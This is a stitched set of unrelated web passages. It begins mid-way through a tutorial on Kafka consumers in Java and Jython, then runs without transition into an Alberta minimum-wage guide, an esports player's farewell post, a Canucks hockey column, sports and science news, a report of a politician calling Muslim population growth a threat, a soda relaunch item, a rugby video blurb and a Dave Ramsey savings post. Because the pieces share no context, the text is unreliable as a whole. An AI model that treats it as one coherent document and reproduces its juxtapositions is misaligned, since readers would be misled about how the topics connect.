We tell java compiler to include all the dependencies in the lib directory while compiling and put the compiled files in the build directory.
A bit about interfacing Jython with Java
Essentially, there are two ways that you can write consumers for this case.
Write everything in Java and call it directly from Jython. Write everything in Jython by importing from Java standard library and Kafka directly in your source code.
We would cover both in a while.
1 - Write everything in Java and call it directly from Jython
Lets look at some of the code for the consumers. This “high level” consumer example has been borrowed directly from here so do check it out for a more elaborate explanation.
Note: For backwards compatibility, Kafka 0.9.1 still supports the high level consumer API.
ConsumerTest class is a runnable that consumes messages from Kafka stream and waits (blocks) for new messages. ConsumerGroupExample is the entry point where we specify the number of concurrent consumers (within the same consumer group) to use when consuming a topic.
The main method on ConsumerGroupExample accepts an array of strings. In later part, you would see that we actually pass the array of strings through Jython.
ConsumerGroupExample.java
package kafkajython ; import kafka.consumer.ConsumerConfig ; import kafka.consumer.KafkaStream ; import kafka.javaapi.consumer.ConsumerConnector ; import java.util.HashMap ; import java.util.List ; import java.util.Map ; import java.util.Properties ; import java.util.concurrent.ExecutorService ; import java.util.concurrent.Executors ; import java.util.concurrent.TimeUnit ; public class ConsumerGroupExample { private final ConsumerConnector consumer ; private final String topic ; private ExecutorService executor ; public ConsumerGroupExample ( String a_zookeeper , String a_groupId , String a_topic ) { consumer = kafka . consumer . Consumer . createJavaConsumerConnector ( createConsumerConfig ( a_zookeeper , a_groupId )); this . topic = a_topic ; } public void shutdown () { if ( consumer != null ) consumer . shutdown (); if ( executor != null ) executor . shutdown (); try { if (! executor . awaitTermination ( 5000 , TimeUnit . MILLISECONDS )) { System . out . println ( "Timed out waiting for consumer threads to shut down, exiting uncleanly" ); } } catch ( InterruptedException e ) { System . out . println ( "Interrupted during shutdown, exiting uncleanly" ); } } public void run ( int a_numThreads ) { Map < String , Integer > topicCountMap = new HashMap < String , Integer >(); topicCountMap . put ( topic , new Integer ( a_numThreads )); Map < String , List < KafkaStream < byte [], byte []>>> consumerMap = consumer . createMessageStreams ( topicCountMap ); List < KafkaStream < byte [], byte []>> streams = consumerMap . get ( topic ); // now launch all the threads // executor = Executors . newFixedThreadPool ( a_numThreads ); // now create an object to consume the messages // int threadNumber = 0 ; for ( final KafkaStream stream : streams ) { executor . submit ( new ConsumerTest ( stream , threadNumber )); threadNumber ++; } } private static ConsumerConfig createConsumerConfig ( String a_zookeeper , String a_groupId ) { Properties props = new Properties (); props . put ( "zookeeper.connect" , a_zookeeper ); props . put ( "group.id" , a_groupId ); props . put ( "zookeeper.session.timeout.ms" , "400" ); props . put ( "zookeeper.sync.time.ms" , "200" ); props . put ( "auto.commit.interval.ms" , "1000" ); return new ConsumerConfig ( props ); } public static void main ( String [] args ) { String zooKeeper = args [ 0 ]; String groupId = args [ 1 ]; String topic = args [ 2 ]; int threads = Integer . parseInt ( args [ 3 ]); ConsumerGroupExample example = new ConsumerGroupExample ( zooKeeper , groupId , topic ); example . run ( threads ); try { Thread . sleep ( 90000 ); } catch ( InterruptedException ie ) { } example . shutdown (); } }
ConsumerTest.java
package kafkajython ; import kafka.consumer.ConsumerIterator ; import kafka.consumer.KafkaStream ; public class ConsumerTest implements Runnable { private KafkaStream m_stream ; private int m_threadNumber ; public ConsumerTest ( KafkaStream a_stream , int a_threadNumber ) { m_threadNumber = a_threadNumber ; m_stream = a_stream ; } public void run () { ConsumerIterator < byte [], byte []> it = m_stream . iterator (); while ( it . hasNext ()) System . out . println ( "Thread " + m_threadNumber + ": " + new String ( it . next (). message ())); System . out . println ( "Shutting down Thread: " + m_threadNumber ); } }
Execute this “high level” java example using Jython:
jython -J-cp "/your-directory/Projects/kafka-jython/libs/*:/your-directory/Projects/kafka-jython/build:." examples/src/main/python/java_interfaced_jython_consumer.py
Note that we need to tell Jython about both dependencies; Kafka jars and .class files that we compiled earlier in this tutorial.
Now, when you produce messages on Kafka, you should see them printing in your shell.
Lets go through the Jython code in java_interfaced_jython_consumer.py now.
java_interfaced_jython_consumer.py
from kafkajython import ConsumerGroupExample def run (): # List of arguments for initializing the consumer args = [ "localhost:2181" , "test-group" , "another-replicated-topic" , "3" ] ConsumerGroupExample . main ( args ) if __name__ == '__main__' : run ()
Notice how the Java classes that we compiled earlier can be directly imported here. Since those Java classes were packaged in kafkajython namespace, it is necessary to do the import from the same package.
In the run function here, we pass a list of strings to the main method of ConsumerGroupExample that is written in Java.
Lets see how we can write this example purely in Jython.
2 - Write everything in Jython by importing from Java standard library and Kafka directly in your source code
Following is the code for “high level” consumer written entirely in Jython:
group.py
from concurrent.futures import ThreadPoolExecutor from java.util import Properties from java.util import HashMap from java.lang import String from kafka.consumer import ConsumerConfig from kafka.consumer import Consumer class HighLevelConsumer ( object ): def __init__ ( self , zookeeper , group_id , topic , thread_count = 1 , callback = lambda x , y : ( x , y )): self . consumer = Consumer . createJavaConsumerConnector ( self . _create_consumer_config ( zookeeper , group_id ) ) self . topic = topic self . thread_count = thread_count self . callback = callback def consume ( self ): topic_count_map = HashMap () topic_count_map . put ( self . topic , self . thread_count ) consumer_map = self . consumer . createMessageStreams ( topic_count_map ) streams = consumer_map . get ( self . topic ) with ThreadPoolExecutor ( max_workers = self . thread_count ) as executor : futures = [] for i , stream in enumerate ( streams ): futures . append ( executor . submit ( self . _decorate ( self . callback , i , stream ))) for future in futures : future . result () @staticmethod def _decorate ( callback , thread , stream ): def decorated (): it = stream . iterator () while it . hasNext (): callback ( thread , String ( it . next () . message ())) return decorated @staticmethod def _create_consumer_config ( zookeeper , group_id ): props = Properties () props . put ( "zookeeper.connect" , zookeeper ) props . put ( "group.id" , group_id ) props . put ( "zookeeper.session.timeout.ms" , "400" ) props . put ( "zookeeper.sync.time.ms" , "200" ) props . put ( "auto.commit.interval.ms" , "1000" ) return ConsumerConfig ( props )
You can see how trivial it is to use Java libraries and other Java specific language constructs in Jython. Moreover, the code doesn’t look any different from traditional Python. However, notice the explicit Java String import: from java.lang import String . In Java, you never need to do this because java.lang is auto-imported. This is not the case with Jython.
Following is the entry point for the Jython consumer.
pure_jython_consumer.py
from consumers.group import HighLevelConsumer def process_message ( thread , message ): print str ( thread ) + ': ' + str ( message ) def run (): consumer = HighLevelConsumer ( 'localhost:2181' , 'unknown' , 'another-replicated-topic' , 3 , callback = process_message ) consumer . consume () if __name__ == '__main__' : run ()
The Jython implementation is more or less the same as the one written in Java. One difference is that I have used a backport of Python 3.2 futures package to create thread pool instead of using concurrent utils from Java. The other difference is that the Jython consumer allows you to pass functions as callbacks so you can manipulate the incoming messages.
Lets run this using:
jython -J-cp "/Users/rafay/Projects/kafka-jython/libs/*" examples/src/main/python/pure_jython_consumer.py
You should notice incoming messages from the Kafka producer.
Important note: One very important mention in context of this post is that Jython threads are always mapped to Java threads. Jython actually lacks the global interpreter lock (GIL), which is an implementation detail of CPython. This means that Jython can actually give you better performance on mult-threaded compute-intensive tasks written in Python. You can read more about it here.
Conslusion
I think using Jython for coordinated consumption with Kafka 0.8.x is a good idea when:
You cannot move away from Python because of library dependencies but you still want the coordinated consumers.
Your Kafka infrastructure cannot migrate to Kafka 0.9.x (which is a requirement if you want to use new Kafka consumer clients) and you still want coordinated consumers written in Python.
In the long run, it would be better to just update your Kafka infrastructure to 0.9.x. You would definitely get better support and more features; such as the fact that latest version of kafka-python implements the new Kafka consumer client which supports coordinated consumers.
Conclusively, Jython has worked well for this problem. However, I am not aware of how well it would perform in a huge scale production environment with several consumers, consumer groups, topics and partitions.
Note: This post might contain some edits which can be tracked here.
Employers must pay at least the minimum wage.
Minimum wage is the same for adults, liquor servers, adolescents, youth and disabled people.
Wages don’t include tips or expense money.
There are separate weekly and monthly minimum wages for some salespersons and domestic employees.
Employees must be paid at least 3 hours of pay at the minimum wage each time they go to work even if they’re sent home after less than 3 hours, unless the employee is not available to work the 3 hours. There are some exceptions to this rule for employees in the Employment Standards Regulation (Part2, Section 11) or where a variance has been issued.
Maximum deductions below minimum wage for provided meals and lodging are $3.35 per consumed meal and $4.41 per day’s lodging.
Minimum wage rates for 2017-2018
The following minimum wage rates are set out in the Employment Standards Regulation:
Type of employee October 1, 2017 October 1, 2018 Most employees (general minimum wage) $13.60/hour $15/hour Salespersons (including land agents and certain professionals) $542/week $598/week Domestic employees (living in their employer’s home) $2,582/month $2,848/month
Weekly minimum wage rates
Employees entitled to the weekly minimum wage rate earn $598 per week.
Eligible employees:
direct selling salesperson
commission salesperson (other than a route salesperson) selling goods that will be delivered later
car, truck, recreational vehicle, or bus salesperson
manufactured home salesperson
farm machinery salesperson
heavy duty construction equipment or road construction equipment salesperson
residential home salesperson employed by builder
land agent
architect
accountant
chiropractor
dentist
engineer or other geoscientist
lawyer
optometrist
podiatrist
psychologist
veterinarian
agrologist
denturist
information systems professional
Domestic employee wage rates
Minimum wage rates
For domestic employees who live in their employer’s homes: $2,848 per month.
For domestic employees who don’t live in their employer’s home: $15 per hour.
Eligible employees
A domestic employee is a person employed to work in the employer’s residence, for the care, comfort and convenience of members of that residence. Casual babysitting isn’t considered domestic employment.
All domestic employees are entitled to:
the minimum wage
general (statutory) holidays with pay
a copy of their statement of earnings and deductions for each pay period
a rest period of at least 30 minutes, paid or unpaid, for each consecutive 5 hours of work
at least 1 day of rest in each work week
vacations and vacation pay
notice of termination of employment
job-protected leaves
For employees who live in their employer’s home:
employers are required to pay the full monthly minimum wage rate, regardless of the number of hours worked
pro-rating of the monthly minimum wage is permitted where the employee agrees to work for a portion of a month, such as mornings only
the maximum allowable deductions an employer can make are $4.41 per night of lodging, and $3.35 per meal; deductions can’t be made for meals not consumed
For employees who don't live in their employer’s home:
the minimum wage rate applies for all hours worked
meal deductions from the minimum wage rate cannot exceed $3.35 per meal consumed
The following employment standards don’t apply to domestic employees:
overtime compensation
restrictions on maximum hours of work
Hours of work
Employees asked to work for short periods
3-hour minimum
Employees must be paid for at least 3 hours of pay at the minimum wage each time they’re required to report to work, or come to work for short periods. This 3-hour minimum doesn’t apply if the employee isn’t available to work the full 3 hours.
If an employee works for fewer than 3 consecutive hours, the employer must pay wages that are at least equal to 3 hours at the minimum wage.
If an employee’s regular wage is greater than the minimum wage, the employer may pay them for less than 3 hours of work at this higher rate.
2-hour minimum
The following employees must be paid minimum compensation for at least 2 hours at not less than minimum wage:
school bus drivers
part-time employees of non-profit recreation or athletic programs run by a municipality, Métis Settlement or community service organization
home care employees
adolescents (13, 14 and 15 years of age) who work on a school day
See Youth employment for more information.
Employees working split shifts
If an employee is required to work a split shift and there’s more than a 1-hour break between the 2 segments of the shift, the employee must be paid the minimum compensation described above for each segment of their shift.
Employees attending a compulsory meeting or scheduled training session
If the meeting or training occurs on an employee’s regularly scheduled day off, the employee must be paid at least the minimum wage and overtime if applicable. If the meeting or training is less than 3 hours in length, the 3-hour minimum rule applies.
Please also note:
if an employee returns to work to attend the meeting or training after completing their shift, the employee must be paid the wages agreed to or overtime if applicable, whichever is greater
the rate of pay for meetings or training cannot be less than the minimum wage
the pay received by the employee must equal or exceed the amount described in the section on minimum compensation for short periods of work
if the meeting or training isn’t compulsory but is directly related to the employee’s work, and the employee attends, they must be paid the wages agreed to, and overtime if applicable; the employee must receive at least the minimum compensation as described above
Employees ‘on call’ or ‘on standby’ at home
if an employee isn’t required to perform work at home, no payment is required; being ‘on call’ or ‘on standby’ is not considered work
if an employee is required to work at home, the employee must be paid for hours worked at their regular rate of pay, plus applicable overtime, for the actual time worked
if the employee is required to leave home and report to the worksite, the minimum compensation for short periods of work as previously described is applicable once the employee reports to work
Incentive-based pay or commission
To calculate whether an employee earning incentive-based pay or commission has received a rate of at least minimum wage for all hours worked in a pay period, the employer must determine if the minimum compensation entitlement has been met.
Minimum compensation entitlement
An employee’s wages are totaled for the pay period set by the employer (maximum 1 month) and then divided by the total number of hours worked in that pay period. Also:
if the calculated hourly wage rate is less than the minimum wage, the employee must be paid at least the minimum wage for all hours worked
if the calculated rate is higher than the minimum wage, the employee must be paid their incentive-based pay or commission
This section doesn’t apply to employees who are entitled to a weekly minimum wage, because no daily record of hours is required to be maintained.
Allowable deductions
Meals and lodging
Employers can, with written authorization from the employee, reduce the employee’s wages below the minimum wage by a maximum of:
$4.41 for each day the employer provides the employee with lodging
$3.35 for each meal consumed by the employee; deductions can’t be made for meals not consumed
Uniforms
Deductions for uniforms aren’t allowed. This includes any costs associated with the purchase, use, cleaning or repair of a uniform, or any other special article of wearing apparel that an employee is required to wear during the their hours of work.
See Payment of earnings for more information.
Exempt occupations
The following employees are exempt from minimum wage standards:
real estate brokers
securities salespersons
insurance salespersons paid entirely by commission
students in a work experience program approved by the Alberta government
students in an off-campus education program provided under the School Act
extras in a film or video production
counsellors or instructors at a non-profit educational or recreational camp for children, handicapped individuals, or religious groups
municipal police service members
post-secondary academic staff
How the law applies
Section 138(1) (f) of the Employment Standards Code empowers the Lieutenant Governor in Council to make regulations respecting minimum wages.
Part 2 of the Employment Standards Regulation sets the minimum wage for employees.
Disclaimer: In the event of any discrepancy between this information and Alberta Employment Standards legislation, the legislation is considered correct.
Contact
2016 was a challenging Year for me.
First of all I left my comfort zone at UOL. My goals were to develop myself and to learn from the veterans at Origen. I was a hyped player and I was proud to be chosen by OG the world semifinalist for the double mid approach together with xPeke.
Directly after I have joined we won the IEM San Jose X in 2015 what a perfect start!
In the spring split we had a difficult start but in the end a good run and finished 2nd place. We played most of the time around bot. But I think Zven is a really good adc and all resources that were given to him were well placed.
The summer split was more difficult due to a lot of reasons but initially due to the unexpected team changes. It honours xPeke that he stepped in and tried to save the team but without a true main adc role you can hardly be successful on that level.
The team atmosphere suffered from the early clash of our botlane and the following bad results. Together with the pressure of high expectations towards OG this led to a lack of synergy in the team.
The EU LCS mode was Bo2. We got far too many draws and therefore lost too many points. At least we managed to secure our spot in the LCS.
Playing against a big part of the own team´s fanbase like “bring back xPeke” was also something new even more as it was regardless of the own/team performance or game result. Good luck for OG´s next mid alongside with xPeke whoever it will be.
In any case I gained a lot of experience for myself. From the successful spring split as well as from the less successful summer split. I could see how the veterans dealt with certain situations and received much support. @Soaz for example helped me to become part of the team and to improve my game knowledge/lane assignment or @xPeke helped me a lot to improve my in game communication.
I want to say thank you to all of the people that I have worked with for the time together in Origen.
Special thanks to @Alvar, he had great influence by bringing in a lot stability on the home stretch.
All the best for Origen!
Thanks to all the fans that supported me and stayed to me over the whole season even when stuff was going downhill.
I hope you guys keep supporting me under my new banner in Misfits!
Really excited for Spring Split on 19th January :)!
The National Hockey League team’s stated goal to rebound from last year’s dismal, 75-point season and “stay in the fight” for a playoff berth was based on hope — the belief that a lot of factors would go in their favour. They haven’t.
Here are some of the hope-bets lost:
THE SEDINS WILL SUSTAIN THEIR GAME
Hope: Since Daniel and Henrik’s effectiveness was never driven by skating, even when they were winning Art Ross Trophies, the 36-year-olds should be able to at least maintain their game and contribute 60-70 points apiece.
Reality: We’re seeing things from the twins we’ve never witnessed — like pucks bouncing off their sticks, wildly errant passes, even miscommunication. And since the Sedins have lost another half-step, every turnover in the offensive zone turns into a track meet the other way. But, honestly, the brothers’ greatest fault is getting older like the rest of us. They’re still good NHL players, but belong on the second or third line at this stage. The fact Danny and Hank’s ice times have actually spiked upwards this season is an indictment of the scoring depth below them.
YOUNG GUYS WILL GET BETTER
Hope: Forwards Bo Horvat, 21, and Sven Baertschi, 24, were supposed to use last season’s strong second half as a springboard toward greater offensive impact this season. Winger Jake Virtanen, 20, would start to build consistency in his game and become a lineup regular. And after a breathtaking rookie season, defenceman Ben Hutton, 23, would help drive the Canucks from the blue-line.
Reality: Only Horvat (eight goals, 17 points in 30 games) has progressed as hoped, and even he has been streaky. Baertschi was a healthy scratch before he returned to the lineup for Tuesday’s 8-6 catastrophe in Carolina. Hutton is minus-13 and has been a mistake-prone sophomore trying to do too much, and Virtanen is in the minors and only lately has started playing well there.
Hope: This was more expectation than hope, but the signing of marquee free agent Loui Eriksson was supposed to give the Canucks a legitimate first-line scorer and a natural partner for Danny and Hank.
Reality: Eriksson is too similar to the Sedins to be a good fit, really isn’t a natural finisher and is on pace for 16 goals, which would be his second-lowest total since 2008 and barely half what he scored last year in Boston. And that six-year, $36-million US contract looks radioactive.
THE POWER PLAY CAN’T BE ANY WORSE
Hope: With the addition to the staff of coaching sage Doug Jarvis and the addition of 30-goal scorer Eriksson, plus the return of a healthy Alex Edler, the power play will be significantly better than 27th this season. And if it generates 10-15 more goals, that will translate into at least a handful of more wins.
Reality: As of Wednesday, the power play was ranked 28th at 13.5 per cent and, with only 12 goals in 30 games, is on pace for 33 goals — six fewer than last season. The Sedins’ first unit is excellent at gaining the offensive zone but doesn’t finish, and Horvat’s second unit is more direct but struggles to set up.
Hope: Swinging for the fences with high-scoring Europeans Anton Rodin and Philip Larsen, who had failed in earlier forays into North American hockey, should help the power play and the depth. And if even one of two becomes an impactful NHLer, the risk will have been worth it to the Canucks.
Reality: Rodin was one of Vancouver’s best players during the pre-season, right up until the winger was pulled from the lineup because of soreness in a knee that required major surgery last year. The Swedish League MVP hasn’t been seen since. And before he was knocked out — literally and figuratively — by Taylor Hall’s huge hit last week, Larsen had proved ineffective offensively and a liability defensively.
GOOD HEALTH IS PRICELESS
Hope: Top defenceman Edler and key centre Brandon Sutter missed 92 games last season because of serious injuries, but their return to health this fall would be the equivalent of adding two impact players.
Reality: Sutter works as hard as anyone in his family, but his skating looks laboured some nights and the “two-way centre” is a team-worst minus-16. Edler, meanwhile, is injured again but had managed in the 21 games he did play to contribute just one goal and two assists despite being bestowed a chunk of every power play.
Hope: To be harder to play against, the Canucks re-designed their systems play to trap teams in the neutral zone and be more compact defensively, which would reduce goals-against and generate scoring chances in transition.
Reality: The Canucks’ lack of speed continues to be a critical problem, and after some initial success with “structure,” the team is tied for 27th in the NHL with 3.1 goals-against per game — worse than last season.
There’s a lot of that going on.
Imacintyre@postmedia.com
Twitter.com/imacvansun
NEXT GAME
Friday
Tampa Bay Lightning at Vancouver Canucks
7 p.m., Rogers Arena
This was after the Ghana international interacted with Tim Sword, president of the Greater Columbus Sister Cities International on Tuesday.
''It was an honor to meet Columbus Crew SC star player Harrison Afful today in the offices of the Greater Columbus Sister Cities International. Besides, being a world renowned soccer player he also serves as a cultural ambassador for Ghana in Columbus,'' Sword said after the meeting
''He is a brilliant example of the value of the sister city relationship between Columbus Ohio and Accra Ghana.
''It was my privilege to discuss with him opportunities to enhance our sister city relationship and to create new opportunities for both of our native communities.''
In 2015, then Accra Mayor Alfred Oko Vanderpuije of Accra and his Columbus counterpart Mayor Coleman went into a formal partnership.
The multi-dimensional partnership seeks to create exchanges in economic development, arts & culture, education, as well as promote environmental stewardship.
Afful, who plays for Columbus Crew and regards himself as Cultural Ambassador, wants to contribute his quota to ensure a sustainable sister city relationship.
''I love this city and when I heard the news after visiting the US ambassador in Ghana, my team took the initiative play our role and the area Education and poverty alleviation is on major concern,'' the defender said.
''Sports can be a major tool and so I have pledged to give my all to Mr Sword and the Greater Columbus Sister Cities International. He is a nice man and we can work together to achieve our goals.''
About half the people on the expedition, described in the October issue of National Geographic, have been diagnosed with the illness, which is caused by parasites that break down the skin and can cause weeping, potentially disfiguring sores.
Five were so ill that they were sent for treatment at the Clinical Center of the National Institutes of Health, one of the few U.S. medical institutions that research the disease and regularly treat patients.
The team members have returned to their homes, and most of them have recovered—but the episode has been an unexpected reminder of the dangers that can dog even the best-prepared fieldwork.
“I’m not Indiana Jones,” Chris Fisher, an archaeologist at Colorado State University and a National Geographic grantee, said ruefully. “I’m not an adventurer; I’m a scientist. I’m very, very careful in the field. So this was an unexpected thing.”
Leishmaniasis is barely known in North America but very common in Central and South America and the Middle East. The Centers for Disease Control and Prevention estimates there may be more than one million cases a year, caused by different subspecies of the parasite.
How do people get infected with leishmaniasis? Leishmaniasis is a neglected tropical disease that causes an estimated 1.3 million new cases a year, with up to 30,000 of these resulting in death. Only a small fraction of those infected by Leishmania parasites will eventually develop the disease, which is normally associated with malnutrition, a weak immune system, and poor housing. SWIPE FOR MORE Manuel Canales and Kelsey Nowakowski, NG STAFF. animation: Daisy ChungSOURCE: David Sacks, National Institutes of Health
Depending on the subspecies, the infection might cause just a stubborn sore and scarring, or it can have much more serious consequences, including disruption of blood cells and internal organs that can be fatal. Years down the road, some infections can cause disfiguring lesions of mucous membranes that can eat away at the nose and mouth.
“It’s a disease that tends to occur in conditions of extreme poverty, where there are breakdowns in garbage collection and the sand flies that carry it proliferate, and where people live in poor-quality dwellings,” says Peter Hotez, dean of the National School of Tropical Medicine at Baylor College of Medicine, where researchers are working on a vaccine. “It has not been a priority for drug development. It’s what we call a neglected disease.”
Leishmaniasis environmental suitability Cutaneous/Mucosal Low High Visceral Low High ANDREW UMENTUM, NG STAFF SOURCE: DAVID M. PIGOTT AND OTHERS, ELIFE, 2014
Jungle Dangers
Fisher is an expert in the imagery produced by lidar, a technology that deploys laser pulses to look through vegetation to the concealed ground beneath. He used it a few years ago to reveal that a pre-Columbian site in central Mexico was far larger than explorers on the ground had detected.
Steve Elkins and Bill Benenson, two documentary filmmakers obsessed by old accounts that Honduras’s remote Mosquitia region concealed a lost “white city,” recruited him to interpret images taken above the forest canopy.
When the remote imaging revealed structures that might add up to two cities, a team of more than 40 people—including geologists, anthropologists, ethnobotanists, and a camera crew, all guarded by Honduran military—struck out into the jungle.
“Forty-five-degree slopes, and roaring torrents in the ravines,” said Douglas Preston, a best-selling author who recounted the trip for National Geographic magazine along with photographer Dave Yoder. “Some of the densest jungle in the world. In a ten-hour day, you might be lucky to go three miles.”
It was drenching wet under the layers of foliage, and chilly. And buggy: The constant rain washed away the strongest insect repellents, and the explorers were tormented by chiggers and dive-bombed by mosquitoes.
Even given the revelatory finds—evidence of walls, buildings, and plazas, and a cache of sculpted objects—the group was relieved to emerge from the jungle and head home.
View Images The team (including Fisher, center, and writer Douglas Preston, right) waded through streams to make progress in the thick rain forest. Preston also caught leishmaniasis, transmitted by sand flies infected with the parasite. Photograph by Dave Yoder, National Geographic
Then Preston spiked a fever. He worried it might be malaria, but a blood test cleared him. Then he developed another fever, and something that looked like a bug bite and seemed to be getting worse. In his local emergency room in Santa Fe, New Mexico, a doctor dismissed them as unrelated.
Meanwhile, at home in Colorado, Fisher was experiencing “chills, fever, really intense fatigue”—and a burgeoning sore, buried in a crease on the bottom of his foot, that he attributed to the dry mountain air.
Pull Quote If this is the worst that’s going to happen to me, I think I’m probably lucky. No great discoveries are made without some risk. Doug Preston
Then Dave Yoder got in touch: He too had a lesion that was not healing. He had contacted several others, and they had the same thing. After some exploring on the Web, he thought he had identified the cause. Yoder wangled an introduction to Theodore Nash, who is a principal investigator in NIH’s Laboratory of Parasitic Diseases. Nash confirmed that Yoder had leishmaniasis.
Five members of the expedition agreed to go to NIH to be treated by Nash. “The therapies are usually toxic and not very friendly,” he admitted—and the explorers found that was true. Several can damage the kidneys and require a long course of treatment. Yoder, Fisher, and Preston were able to start with a slightly safer compound. Called liposomal amphotericin, it packages the active ingredient within tiny droplets of fat that are infused into the body intravenously, for hours a day, over a week.
All three men had a rough time. Yoder had an instantaneous reaction—“intense back pain, shortness of breath”—and within seconds had to be taken off the infusion and pumped up with antihistamines to counter its effect. After another attempt, he developed acute kidney damage, and his treatment with the drug was abandoned.
The others fared better—but not by much. “I felt like I had a terrible hangover: headaches, nausea, your whole body aches; you have no ambition to do anything,” Preston said. “After six days, my renal function had gone down so much that they said, ‘This is not safe,’ and I had to wait a week to finish.” Fisher also experienced “intense pain” on his first infusion, and on his way home to Colorado, he broke out in a blistering, measles-like rash that took weeks to heal.
They still may not be well. Both Fisher and Preston are waiting to see whether they will need to be treated again, this time with a newly approved pill called miltefosine. It too has side effects—serious vomiting and diarrhea, and liver and kidney toxicity—and, Nash said, is difficult to obtain.
No one regrets it, though. “I’d go back,” Fisher said. “In fact I am going back, once the next trip is organized.”
“It’s instant jungle cred,” said Yoder. “That’s the upside.”
Days before the Centre releases a stamp on the former head of Gorakhnath Math Mahant Avaidyanath, his successor and BJP MP Yogi Adityanath said the growth in the country’s Muslim population was a “threat”.
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He has also demanded a central law to check the population growth of Muslims. Adityanath said the latest Census figures confirm that the rising population of Muslims is a “threat to Hindus”.
“What do the Census figures indicate? We have seen in the past. Can we forget what happened in the past?” he said.
[related-post]
“There should be a law to check their population. Whether there should be one child or two can be discussed, but a law applicable on all communities is needed,” he said.
The MP’s official website is running an opinion poll on whether Adityanath’s appeal to Centre to curb the growth in Muslim population is appropriate. About 98 per cent of voters have supported the appeal.
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The citrus-flavored sparkling drink is exclusively available though online retailer Amazon.com (AMZN), in 12-packs of 16-oz. cans. The first batch of Surge sold out within hours on Amazon Monday but according to the brand's Twitter handle, there will be more soon.
The re-launch marks many firsts for Coke: this will be the first time the company distributes solely using e-commerce. It will also be the first time Coke forgoes traditional advertising strategies (such as TV) and relies only on social and digital media.
Read More Seasonal spirits tap into the pumpkin spice craze
"If expectations are met, this may be only the first of a variety of efforts we explore to launch niche products through e-commerce relationships," said Wendy Clark, president of Coca-Cola North America's strategic marketing.
The beverage had a short four-year run before it was discontinued in the early 2000s. But lobbying from brand-loyalists in recent years convinced Coke to restore Surge, the first discontinued Coke product to make a comeback.
-By CNBC.com staff
For Try Savers and Rib Breakers 13, we’ve hunted down the best clips in every competition from the Top 14 to the Rugby Championship, and from the Shute Shield to the Aviva Premiership. We even dusted off a few oldies (keep an eye out for a young Tana Umaga chasing down Caleb Ralph).
The usual suspects leave their mark; Tameifuna, Ferris, Chabal, Ranger, Manoa, Tuilagi. You will also notice a nod to a few legends of our game, with brilliant try-savers from Brian O’Driscoll, Shane Williams, and Chris Patterson as well.
We’d like to think that MOST of the tackles are 100% legal and technically sound, but this is TSRB after all, so we’re focusing on huge, spine-tingling impacts as well as brilliant try saving efforts.
So sit back, relax, and as you prepare for what we hope is a thrilling Six Nations and Super Rugby season, enjoy some of the greatest tackles from all over the rugby world in the past few years. We’ve also thrown in a free mass-building training manual that you can download below the video.
Credit to all the relevant tv companies, and Rev Theory for the music. In Germany? View it here
Next week RugbyDump will be launching our position-specific training manuals for High Intensity Rugby Training. As part of the launch, we’re giving away this free mass-building manual. Our mate Kevin Shattock will be back early next week with some more training goodies and the full position-specific workouts!
In one of my first posts on this site I gave a brief overview of Dave Ramsey's 7 Baby Steps, and gave links to a few other sites who talked about them.
Today I want to begin my series on the 7 Baby Steps by talking about Baby Step 1, saving up $1000 for a baby emergency fund.
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Before You Start The 7 Baby Steps
The 7 Baby Steps can be a life changing paradigm shift for many people, but like any program to help you get out of debt and prosper, you need to be ready to change your lifestyle, and make some drastic changes to the way you're living. You have to be ready to commit to no more consumer debt, and know that people are going to think you're off your rocker. You're going to stand out from the crowd and be different – but that's OK! To prosper and get ahead, you have to be different! As Ramsey says:
You have to live like no one else, so that later on you can live like no one else!
You'll need to make some short term sacrifices so that later on you can prosper and give more and live more!
Dave Ramsey’s 7 Baby Steps
So here's a quick look at the 7 baby steps. Today we'll cover step 1.
Step 1 – $1,000 to start an Emergency Fund
Step 2 – Pay off all debt using the Debt Snowball
Step 3 – 3 to 6 months of expenses in savings
Step 4 – Invest 15% of household income into Roth IRAs and pre-tax retirement
Step 5 – College funding for children
Step 6 – Pay off home early
Step 7 – Build wealth and give!
Baby Step 1: $1,000 To Start An Emergency Fund
The first thing you need to do when you're on the Baby Steps plan is make sure your necessities and minimum payments on your bills are taken care of. Then, you proceed to baby step 1 where you save a $1000 emergency fund. What’s an emergency fund? An emergency fund is your backup plan for when things go wrong. What kinds of things could go wrong? Here's just a start:
Auto needs repair
Unplanned emergency room visits
Lost job
Family funeral or wedding to attend
An occasional bill you forgot about (like your property taxes for example)
Unplanned Expenses Happen To Everyone
There's an adage, known as Murphy's Law, that says, “Anything that can go wrong, will go wrong“. Dave Ramsey likes to say that an emergency fund will help keep those “little murphies” at bay and keep you from having a small emergency turn into a bigger one.
The problem is that we all have major negative events in our lives, but not very many of us actually plan for those occurrences.
Money magazine says that 78% of us will have a major negative event happen in any given 10-year period of time.
78% of us will have a major negative event. Those numbers alone should startle you into realizing your need for an emergency fund. And those numbers are only for the MAJOR events – we all have a ton of smaller expenses that pop up every year.
Is A $1,000 Emergency Fund Enough?
A lot of people see this first step in the baby steps plan and immediately bring up the point that $1000 just doesn't seem like enough money to save up for your baby emergency fund. Ramsey suggests that for most people it IS enough to cover most emergencies. All of them? Maybe not, but that's what Baby Step 3 is for, to save up a larger emergency fund to cover just about any major occurrence that could happen.
My wife and I ended up saving $2000 for our baby emergency fund – so we did increase the amount just a bit. I think the key is to look at your situation, see what is reasonable to save up fast – in 1-2 months, and go with that. Depending upon your situation a little less than $1000 might even work.
Where To Keep Your Emergency Fund?
When you save for an emergency fund a question often comes up, “Where should I keep my money?”. People want to know if they should keep the money in a CD, a online savings account or some other type of account. Ramsey suggests that you keep this money accessible, preferably in a bank with a local branch nearby, where you can get to the money quickly in an emergency.
Personally my wife and I keep our money at our l0cal bank in a money market savings account. It doesn't earn much interest, but that's not really the point of the baby emergency fund. The point is to insure against those unplanned events. When you save up your larger emergency fund later on, you'll have more options on where you want to save that money.
Where do you not want to keep your $1000 emergency fund? Keep them out of CDs, stocks, real estate, or other investments. Keep it somewhere you can get to it in a short period of time.
Do Your First Budget
After you have decided to save up your $1000 emergency fund, the next step you'll want to take is to do your first “quickie budget” as Dave Ramsey calls it. The reason? If you're going to save the money and get out of debt, you have to know where your money is going, where you can cut, and where the money will come from to pay off your debts. Download Dave Ramsey's “quickie budget” .pdf here:
Dave Ramsey Quickie Budget
Beyond doing a quickie budget, it would be a good idea to do a more in depth budget if you can using a free budget software like the one from mint.com.
A budget is telling your money where to go, instead of wondering where it went.
After you pay the minimums on all your debts, save as much money as you can towards your $1000 emergency fund. If you need to sell some things on Craigslist, get a part time job, or sell your sacred baseball card collection, just do it! Do what you have to and get that $1000 saved!
